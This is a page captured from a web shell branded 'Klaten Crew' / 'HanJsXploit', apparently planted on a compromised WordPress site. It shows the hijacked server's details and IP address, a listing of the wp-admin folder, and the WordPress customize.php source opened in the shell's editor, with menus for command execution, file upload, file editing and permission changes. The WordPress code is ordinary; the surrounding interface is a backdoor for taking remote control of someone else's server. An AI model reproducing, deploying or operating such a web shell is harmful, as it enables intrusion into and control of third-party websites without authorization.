Klaten Crew WebShell - proturismo.ipifap.org

HanJsXploit Klaten Crew

Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.47

HOME

Name	Type	Size	Permissions	Modified	Actions
..	Parent	-	drwxr-xr-x	2026-07-30 20:31:46	-
css	Folder	-	0755	2026-05-26 01:27:38
images	Folder	-	0755	2026-05-26 01:27:38
includes	Folder	-	0755	2026-02-26 20:09:41
js	Folder	-	0755	2025-03-07 15:08:26
maint	Folder	-	0755	2025-03-07 15:08:26
network	Folder	-	0755	2025-03-07 15:08:26
user	Folder	-	0755	2025-03-07 15:08:26
about.php	File	17.38 KB	0644	2026-07-17 19:28:51
admin-ajax.php	File	5.03 KB	0644	2024-07-04 16:22:14
admin-footer.php	File	2.75 KB	0644	2026-01-05 21:04:58
admin-functions.php	File	479 B	0644	2025-01-22 19:06:22
admin-header.php	File	9.07 KB	0644	2026-02-15 13:02:42
admin-post.php	File	1.97 KB	0644	2025-01-16 21:18:24
admin.php	File	12.63 KB	0644	2026-03-13 04:24:40
async-upload.php	File	5.47 KB	0644	2025-08-27 15:34:28
authorize-application.php	File	10.09 KB	0644	2023-09-14 05:54:20
comment.php	File	11.37 KB	0644	2026-03-07 04:20:46
contribute.php	File	5.9 KB	0644	2026-07-17 09:47:42
credits.php	File	4.42 KB	0644	2026-07-17 09:47:41
custom-background.php	File	489 B	0644	2025-01-22 19:06:22
custom-header.php	File	499 B	0644	2025-01-22 19:06:22
customize.php	File	11.21 KB	0644	2026-05-13 12:20:44
edit-comments.php	File	14.14 KB	0644	2026-02-13 22:52:44
edit-form-advanced.php	File	28.79 KB	0644	2026-01-05 21:04:58
edit-form-blocks.php	File	14.73 KB	0644	2026-02-20 16:52:24
edit-form-comment.php	File	8.33 KB	0644	2026-02-16 22:02:48
edit-link-form.php	File	6.21 KB	0644	2025-02-08 16:44:24
edit-tag-form.php	File	10.42 KB	0644	2026-01-05 21:04:58
edit-tags.php	File	21.98 KB	0644	2026-01-05 21:04:58
edit.php	File	19.48 KB	0644	2024-10-04 03:46:16
erase-personal-data.php	File	7.33 KB	0644	2024-04-18 01:21:16
error_log	File	3.89 KB	0644	2026-06-13 14:47:14
export-personal-data.php	File	7.75 KB	0644	2024-04-18 01:21:16
export.php	File	11 KB	0644	2026-01-05 21:04:58
font-library.php	File	1.01 KB	0644	2026-01-19 22:00:30
freedoms.php	File	4.84 KB	0644	2026-07-17 09:47:42
import.php	File	7.58 KB	0644	2025-02-25 23:34:16
index.php	File	7.68 KB	0644	2023-09-14 05:54:20
install-helper.php	File	6.8 KB	0644	2022-11-20 19:10:16
install.php	File	17.91 KB	0644	2026-02-19 02:14:48
link-add.php	File	934 B	0644	2025-02-08 16:44:24
link-manager.php	File	4.26 KB	0644	2025-02-08 16:44:24
link-parse-opml.php	File	2.63 KB	0644	2026-01-09 07:40:54
link.php	File	2.89 KB	0644	2024-05-01 23:01:12
load-scripts.php	File	2.02 KB	0644	2024-08-26 04:48:14
load-styles.php	File	2.92 KB	0644	2024-11-04 20:51:18
media-new.php	File	3.17 KB	0644	2026-02-01 15:18:40
media-upload.php	File	3.58 KB	0644	2025-02-08 20:53:18
media.php	File	819 B	0644	2024-05-01 23:01:12
menu-header.php	File	9.82 KB	0644	2025-02-21 02:29:22
menu.php	File	17.72 KB	0644	2026-04-27 05:04:40
moderation.php	File	307 B	0644	2020-02-06 11:33:12
ms-admin.php	File	196 B	0644	2020-02-06 11:33:12
ms-delete-site.php	File	4.5 KB	0644	2025-04-21 16:49:32
ms-edit.php	File	216 B	0644	2020-02-06 11:33:12
ms-options.php	File	229 B	0644	2024-06-22 16:47:16
ms-sites.php	File	215 B	0644	2020-02-06 11:33:12
ms-themes.php	File	217 B	0644	2020-02-06 11:33:12
ms-upgrade-network.php	File	219 B	0644	2020-02-06 11:33:12
ms-users.php	File	215 B	0644	2020-02-06 11:33:12
my-sites.php	File	4.72 KB	0644	2026-01-06 10:57:56
nav-menus.php	File	49.07 KB	0644	2026-02-17 11:47:40
network.php	File	5.39 KB	0644	2024-03-09 03:38:08
options-connectors.php	File	1.07 KB	0644	2026-03-05 17:09:16
options-discussion.php	File	15.92 KB	0644	2025-11-11 03:51:36
options-general.php	File	22.32 KB	0644	2026-02-28 04:43:42
options-head.php	File	621 B	0644	2025-01-22 19:06:22
options-media.php	File	6.38 KB	0644	2025-09-29 03:38:32
options-permalink.php	File	21.89 KB	0644	2026-03-05 00:48:42
options-privacy.php	File	9.92 KB	0644	2026-01-09 09:22:50
options-reading.php	File	9.97 KB	0644	2026-03-23 04:06:56
options-writing.php	File	9.1 KB	0644	2026-05-08 20:59:44
options.php	File	13.93 KB	0644	2026-05-08 20:59:44
plugin-editor.php	File	13.75 KB	0644	2025-10-14 02:50:28
plugin-install.php	File	6.96 KB	0644	2024-02-20 12:27:06
plugins.php	File	30 KB	0644	2025-10-14 04:12:28
post-new.php	File	2.7 KB	0644	2024-06-15 17:34:14
post.php	File	10.03 KB	0644	2025-09-06 11:49:32
press-this.php	File	2.41 KB	0644	2026-02-20 07:25:46
privacy-policy-guide.php	File	3.67 KB	0644	2023-11-22 22:44:24
privacy.php	File	2.83 KB	0644	2026-07-17 09:47:42
profile.php	File	283 B	0644	2020-02-06 11:33:12
revision.php	File	5.7 KB	0644	2025-10-07 19:30:30
setup-config.php	File	17.52 KB	0644	2026-02-19 02:14:48
site-editor.php	File	12.07 KB	0644	2026-02-20 16:52:24
site-health-info.php	File	4.05 KB	0644	2026-02-12 02:10:40
site-health.php	File	10.18 KB	0644	2026-01-06 10:57:56
term.php	File	2.2 KB	0644	2022-06-01 23:14:10
theme-editor.php	File	16.87 KB	0644	2025-10-16 05:16:32
theme-install.php	File	23.65 KB	0644	2026-07-17 09:47:42
themes.php	File	48.25 KB	0644	2026-07-17 09:47:42
tools.php	File	3.43 KB	0644	2023-02-23 15:38:22
update-core.php	File	45.12 KB	0644	2026-01-23 23:14:36
update.php	File	12.76 KB	0644	2026-01-09 07:48:52
upgrade-functions.php	File	341 B	0644	2020-02-06 11:33:12
upgrade.php	File	6.24 KB	0644	2026-02-19 02:14:48
upload.php	File	14.9 KB	0644	2026-01-09 07:26:54
user-edit.php	File	40.35 KB	0644	2026-04-27 11:12:44
user-new.php	File	24.06 KB	0644	2026-02-16 22:02:48
users.php	File	23.44 KB	0644	2026-03-14 13:15:46
widgets-form-blocks.php	File	5.12 KB	0644	2025-08-27 15:34:28
widgets-form.php	File	19.14 KB	0644	2026-02-19 03:03:44
widgets.php	File	1.09 KB	0644	2022-03-23 00:59:04

<?php
/**
 * Theme Customize Screen.
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.4.0
 */

define( 'IFRAME_REQUEST', true );

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'customize' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to customize this site.' ) . '</p>',
		403
	);
}

/**
 * @global WP_Scripts           $wp_scripts
 * @global WP_Customize_Manager $wp_customize
 */
global $wp_scripts, $wp_customize;

if ( $wp_customize->changeset_post_id() ) {
	$changeset_post = get_post( $wp_customize->changeset_post_id() );

if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post->ID ) ) {
		wp_die(
			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
			'<p>' . __( 'Sorry, you are not allowed to edit this changeset.' ) . '</p>',
			403
		);
	}

$missed_schedule = (
		'future' === $changeset_post->post_status &&
		get_post_time( 'G', true, $changeset_post ) < time()
	);
	if ( $missed_schedule ) {
		/*
		 * Note that an Ajax request spawns here instead of just calling `wp_publish_post( $changeset_post->ID )`.
		 *
		 * Because WP_Customize_Manager is not instantiated for customize.php with the `settings_previewed=false`
		 * argument, settings cannot be reliably saved. Some logic short-circuits if the current value is the
		 * same as the value being saved. This is particularly true for options via `update_option()`.
		 *
		 * By opening an Ajax request, this is avoided and the changeset is published. See #39221.
		 */
		$nonces       = $wp_customize->get_nonces();
		$request_args = array(
			'nonce'                      => $nonces['save'],
			'customize_changeset_uuid'   => $wp_customize->changeset_uuid(),
			'wp_customize'               => 'on',
			'customize_changeset_status' => 'publish',
		);
		ob_start();
		?>
		<?php wp_print_scripts( array( 'wp-util' ) ); ?>
		<script>
			wp.ajax.post( 'customize_save', <?php echo wp_json_encode( $request_args, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> );
		</script>
		<?php
		$script = ob_get_clean();

wp_die(
			'<h1>' . __( 'Your scheduled changes just published' ) . '</h1>' .
			'<p><a href="' . esc_url( remove_query_arg( 'changeset_uuid' ) ) . '">' . __( 'Customize New Changes' ) . '</a></p>' . $script,
			200
		);
	}

if ( in_array( get_post_status( $changeset_post->ID ), array( 'publish', 'trash' ), true ) ) {
		wp_die(
			'<h1>' . __( 'An error occurred while saving your changeset.' ) . '</h1>' .
			'<p>' . __( 'Please try again or start a new changeset. This changeset cannot be further modified.' ) . '</p>' .
			'<p><a href="' . esc_url( remove_query_arg( 'changeset_uuid' ) ) . '">' . __( 'Customize New Changes' ) . '</a></p>',
			403
		);
	}
}

$url       = ! empty( $_REQUEST['url'] ) ? esc_url_raw( wp_unslash( $_REQUEST['url'] ) ) : '';
$return    = ! empty( $_REQUEST['return'] ) ? esc_url_raw( wp_unslash( $_REQUEST['return'] ) ) : '';
$autofocus = ! empty( $_REQUEST['autofocus'] ) && is_array( $_REQUEST['autofocus'] )
	? array_map( 'sanitize_text_field', wp_unslash( $_REQUEST['autofocus'] ) )
	: array();

if ( ! empty( $url ) ) {
	$wp_customize->set_preview_url( $url );
}
if ( ! empty( $return ) ) {
	$wp_customize->set_return_url( $return );
}
if ( ! empty( $autofocus ) ) {
	$wp_customize->set_autofocus( $autofocus );
}

// Let's roll.
header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );

wp_user_settings();
_wp_admin_html_begin();

$registered             = $wp_scripts->registered;
$wp_scripts             = new WP_Scripts();
$wp_scripts->registered = $registered;

add_action( 'customize_controls_print_scripts', 'print_head_scripts', 20 );
add_action( 'customize_controls_print_footer_scripts', '_wp_footer_scripts' );
add_action( 'customize_controls_print_styles', 'print_admin_styles', 20 );

/**
 * Fires when Customizer controls are initialized, before scripts are enqueued.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_init' );

wp_enqueue_script( 'heartbeat' );
wp_enqueue_script( 'customize-controls' );
wp_enqueue_style( 'customize-controls' );

/**
 * Fires when enqueuing Customizer control scripts.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_enqueue_scripts' );

$body_class = 'wp-core-ui wp-customizer js';

if ( wp_is_mobile() ) :
	$body_class .= ' mobile';
	add_filter( 'admin_viewport_meta', '_customizer_mobile_viewport_meta' );
endif;

if ( $wp_customize->is_ios() ) {
	$body_class .= ' ios';
}

if ( is_rtl() ) {
	$body_class .= ' rtl';
}
$body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );
$admin_color = get_user_option( 'admin_color' );
$body_class .= ' admin-color-' . sanitize_html_class( is_string( $admin_color ) ? $admin_color : '', 'modern' );

if ( wp_use_widgets_block_editor() ) {
	$body_class .= ' wp-embed-responsive';
}

$admin_title = sprintf( $wp_customize->get_document_title_template(), __( 'Loading&hellip;' ) );

?>
<title><?php echo esc_html( $admin_title ); ?></title>

<?php
/**
 * Fires when Customizer control styles are printed.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_print_styles' );

/**
 * Fires when Customizer control scripts are printed.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_print_scripts' );

/**
 * Fires in head section of Customizer controls.
 *
 * @since 5.5.0
 */
do_action( 'customize_controls_head' );
?>
</head>
<body class="<?php echo esc_attr( $body_class ); ?>">
<div class="wp-full-overlay expanded">
	<form id="customize-controls" class="wrap wp-full-overlay-sidebar">
		<div id="customize-header-actions" class="wp-full-overlay-header">
			<?php
			$compatible_wp  = is_wp_version_compatible( $wp_customize->theme()->get( 'RequiresWP' ) );
			$compatible_php = is_php_version_compatible( $wp_customize->theme()->get( 'RequiresPHP' ) );
			?>
			<?php if ( $compatible_wp && $compatible_php ) : ?>
				<?php $save_text = $wp_customize->is_theme_active() ? __( 'Publish' ) : __( 'Activate &amp; Publish' ); ?>
				<div id="customize-save-button-wrapper" class="customize-save-button-wrapper" >
					<?php submit_button( $save_text, 'primary button-compact save', 'save', false ); ?>
					<button id="publish-settings" class="publish-settings button-primary button-compact button dashicons dashicons-admin-generic" aria-label="<?php esc_attr_e( 'Publish Settings' ); ?>" aria-expanded="false" disabled></button>
				</div>
			<?php else : ?>
				<?php $save_text = _x( 'Cannot Activate', 'theme' ); ?>
				<div id="customize-save-button-wrapper" class="customize-save-button-wrapper disabled" >
					<button class="button button-primary button-compact disabled" aria-label="<?php esc_attr_e( 'Publish Settings' ); ?>" aria-expanded="false" disabled><?php echo $save_text; ?></button>
				</div>
			<?php endif; ?>
			<span class="spinner"></span>
			<button type="button" class="customize-controls-preview-toggle">
				<span class="controls"><?php _e( 'Customize' ); ?></span>
				<span class="preview"><?php echo esc_html_x( 'Preview', 'noun' ); ?></span>
			</button>
			<a class="customize-controls-close" href="<?php echo esc_url( $wp_customize->get_return_url() ); ?>">
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Close the Customizer and go back to the previous page' );
					?>
				</span>
			</a>
		</div>

<div id="widgets-right" class="wp-clearfix">
			<div id="customize-notifications-area" class="customize-control-notifications-container">
				<ul></ul>
			</div>
			<div class="wp-full-overlay-sidebar-content" tabindex="-1">
				<div id="customize-info" class="accordion-section customize-info" data-block-theme="<?php echo (int) wp_is_block_theme(); ?>">
					<div class="accordion-section-title">
						<h2 class="preview-notice">
						<?php
							/* translators: %s: The site/panel title in the Customizer. */
							printf( __( 'You are customizing %s' ), '<strong class="panel-title site-title">' . get_bloginfo( 'name', 'display' ) . '</strong>' );
						?>
						</h2>
						<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Help' );
							?>
						</span></button>
					</div>
					<div class="customize-panel-description">
						<p>
							<?php
							_e( 'The Customizer allows you to preview changes to your site before publishing them. You can navigate to different pages on your site within the preview. Edit shortcuts are shown for some editable elements. The Customizer is intended for use with non-block themes.' );
							?>
						</p>
						<p>
							<?php
							_e( '<a href="https://wordpress.org/documentation/article/customizer/">Documentation on Customizer</a>' );
							?>
						</p>
					</div>
				</div>

<div id="customize-footer-actions" class="wp-full-overlay-footer">
			<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php echo esc_attr_x( 'Hide Controls', 'label for hide controls button without length constraints' ); ?>">
				<span class="collapse-sidebar-arrow" aria-hidden="true"></span>
				<span class="collapse-sidebar-label"><?php _ex( 'Hide Controls', 'short (~12 characters) label for hide controls button' ); ?></span>
			</button>
			<?php $previewable_devices = $wp_customize->get_previewable_devices(); ?>
			<?php if ( ! empty( $previewable_devices ) ) : ?>
			<div class="devices-wrapper">
				<div class="devices">
					<?php foreach ( (array) $previewable_devices as $device => $settings ) : ?>
						<?php
						if ( empty( $settings['label'] ) ) {
							continue;
						}
						$active = ! empty( $settings['default'] );
						$class  = 'preview-' . $device;
						if ( $active ) {
							$class .= ' active';
						}
						?>
						<button type="button" class="<?php echo esc_attr( $class ); ?>" aria-pressed="<?php echo esc_attr( $active ); ?>" data-device="<?php echo esc_attr( $device ); ?>">
							<span class="screen-reader-text"><?php echo esc_html( $settings['label'] ); ?></span>
						</button>
					<?php endforeach; ?>
				</div>
			</div>
			<?php endif; ?>
		</div>
	</form>
	<div id="customize-preview" class="wp-full-overlay-main"></div>
	<?php

/**
	 * Prints templates, control scripts, and settings in the footer.
	 *
	 * @since 3.4.0
	 */
	do_action( 'customize_controls_print_footer_scripts' );
	?>
</div>
</body>
</html>

HanJsXploit Klaten Crew

Command Execution

File Upload

HanJsXploit Klaten Crew

Command Execution

File Upload

Create New Folder

Create New File

Edit File: customize.php

Rename

Change Permissions

System Information